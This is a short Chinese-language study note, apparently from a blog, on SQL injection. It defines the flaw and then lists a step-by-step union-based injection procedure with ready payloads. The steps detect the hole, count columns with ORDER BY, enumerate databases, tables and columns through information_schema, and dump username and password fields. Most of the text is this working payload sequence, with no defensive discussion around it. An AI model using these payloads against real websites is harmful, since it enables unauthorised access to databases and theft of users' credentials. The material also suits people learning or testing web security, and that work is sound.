SQL注入
本质:将用户输入的数据当作代码来执行
关键条件:1.用户能够控制输入
2.程序能够拼接用户输入的数据然后执行
一般步骤:1.判断是否存在sql注入
and 1=2 -1=-2 等等
2.判断当前页面字段总数
and 1=1 order by 1,2,3,4,5...
3.判断显错位
and 1=2 union select 1,2,3,4,5...
4.查询当前数据库
and 1=2 union select 1,2,database(),4,5...
5.查表名
and 1=2 union select 1,2,table_name from information_schema.tables where table_schema = database() limit 0,1
6.查列名
and 1=2 Union select 1,2,columns_name from information_schema.COLUMNS where TABLE_NAME=表名 limit 0,1
7.查字段内容
and 1=2 union select 1,用户名段,密码段 from 表名 limit 0,1
函数:GROUP_CONCAT 将多行数据整合输出

浙公网安备 33010602011771号